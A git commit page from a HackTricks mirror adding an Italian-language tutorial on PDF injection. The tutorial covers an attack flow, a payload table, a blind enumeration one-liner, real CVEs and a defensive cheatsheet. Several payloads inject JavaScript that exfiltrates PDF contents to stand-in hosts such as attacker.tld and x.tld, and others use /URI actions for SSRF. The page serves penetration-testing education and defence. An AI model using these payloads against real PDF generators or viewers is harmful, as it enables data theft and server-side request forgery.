mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m
This commit is contained in:
parent
0a09ca9c4c
commit
c20a3201a9
@ -1,7 +1,55 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Se il tuo input viene riflesso all'interno di un file PDF, puoi provare a iniettare dati PDF per eseguire JavaScript o rubare il contenuto del PDF.**
|
||||
|
||||
Controlla il post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
|
||||
# PDF Injection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Se il tuo input viene riflesso all'interno di un file PDF, puoi provare a iniettare dati PDF per eseguire JavaScript, effettuare SSRF o rubare il contenuto del PDF.**
|
||||
La sintassi PDF è estremamente permissiva: se riesci a uscire dalla stringa o dal dizionario che sta incorporando il tuo input, puoi aggiungere oggetti completamente nuovi (o nuove chiavi nello stesso oggetto) che Acrobat/Chrome analizzerà felicemente.
|
||||
Dal 2024, una serie di report di bug-bounty hanno dimostrato che *una parentesi non scappata o una barra rovesciata è sufficiente* per l'esecuzione completa dello script.
|
||||
|
||||
## TL;DR – Flusso di attacco moderno (2024)
|
||||
1. Trova qualsiasi valore controllato dall'utente che finisca all'interno di una **(stringa di parentesi)**, `/URI ( … )` o campo `/JS ( … )` nel PDF generato.
|
||||
2. Inietta `) ` (chiudendo la stringa) seguito da uno dei primitivi qui sotto e termina con un'altra parentesi aperta per mantenere la sintassi valida.
|
||||
3. Consegna il PDF malevolo a una vittima (o a un servizio backend che rende automaticamente il file – ottimo per bug ciechi).
|
||||
4. Il tuo payload viene eseguito nel visualizzatore PDF:
|
||||
* Chrome / Edge → PDFium Sandbox
|
||||
* Firefox → PDF.js (vedi CVE-2024-4367)
|
||||
* Acrobat → API JavaScript completa (può esfiltrare contenuti di file arbitrari con `this.getPageNthWord`)
|
||||
|
||||
Esempio (dirottamento del link di annotazione):
|
||||
```pdf
|
||||
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
|
||||
```
|
||||
*Il primo `)` chiude la stringa URI originale, quindi aggiungiamo un nuovo dizionario **Action** che Acrobat eseguirà quando l'utente clicca sul link.*
|
||||
|
||||
## Utili Primitivi di Iniezione
|
||||
| Obiettivo | Frammento Payload | Note |
|
||||
|-----------|-------------------|------|
|
||||
| **JavaScript all'apertura** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Esegue istantaneamente quando il documento viene aperto (funziona in Acrobat, non in Chrome). |
|
||||
| **JavaScript sul link** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Funziona in PDFium & Acrobat se controlli un'annotazione `/Link`. |
|
||||
| **Esfiltrazione di dati cieca** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Combina con `this.getPageNthWord` all'interno di JS per rubare contenuti. |
|
||||
| **SSRF lato server** | Stesso di sopra ma targetizza un URL interno – ottimo quando il PDF è reso da servizi di back-office che rispettano `/URI`. |
|
||||
| **Interruzione di linea per nuovi oggetti** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Se la libreria ti consente di iniettare caratteri di nuova linea, puoi creare oggetti completamente nuovi. |
|
||||
|
||||
## Trucco di Enumerazione Cieca
|
||||
Gareth Heyes (PortSwigger) ha rilasciato una riga di codice che enumera ogni oggetto all'interno di un documento sconosciuto – utile quando non puoi vedere il PDF generato:
|
||||
```pdf
|
||||
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
|
||||
```
|
||||
Il codice itera sul DOM di Acrobat e fa richieste outbound per ogni coppia proprietà/valore, fornendoti un dump *JSON-ish* del file. Vedi il white-paper “Portable Data **ex**Filtration” per la tecnica completa.
|
||||
|
||||
## Bug nel Mondo Reale (2023-2025)
|
||||
* **CVE-2024-4367** – Esecuzione arbitraria di JavaScript in PDF.js di Firefox prima della versione 4.2.67 ha bypassato il sandbox con un'azione `/JavaScript` creata ad hoc.
|
||||
* **Bug bounty 2024-05** – Un importante fintech ha consentito note di fattura fornite dai clienti che sono arrivate in `/URI`; il report ha pagato $10k dopo aver dimostrato SSRF verso l'host di metadata interno utilizzando `file:///` URI.
|
||||
* **CVE-2023-26155** – Iniezione di comando `node-qpdf` tramite percorso PDF non sanitizzato mostra l'importanza di eseguire l'escape di backslash e parentesi anche *prima* del layer PDF.
|
||||
|
||||
## Cheatsheet Difensivo
|
||||
1. **Non concatenare mai input utente raw** all'interno di stringhe o nomi `(`…`)`. Esegui l'escape di `\`, `(`, `)` come richiesto dal §7.3 della specifica PDF o utilizza stringhe esadecimali `<...>`.
|
||||
2. Se costruisci link, preferisci `/URI (https://…)` che codifichi *completamente* l'URL; blocca gli schemi `javascript:` nei visualizzatori client.
|
||||
3. Rimuovi o valida i dizionari `/OpenAction`, `/AA` (azioni aggiuntive), `/Launch`, `/SubmitForm` e `/ImportData` durante il post-processing dei PDF.
|
||||
4. Sul lato server, rendi i PDF non fidati con un *convertitore headless* (es. qpdf –decrypt –linearize) che rimuove JavaScript e azioni esterne.
|
||||
5. Tieni aggiornati i visualizzatori PDF; PDF.js < 4.2.67 e Acrobat Reader prima di luglio 2024 consentono l'esecuzione di codice banale.
|
||||
|
||||
## Riferimenti
|
||||
* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (aggiornato maggio 2024). <https://portswigger.net/research/portable-data-exfiltration>
|
||||
* Dawid Ryłko, “CVE-2024-4367: Esecuzione Arbitraria di JavaScript in PDF.js” (apr 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user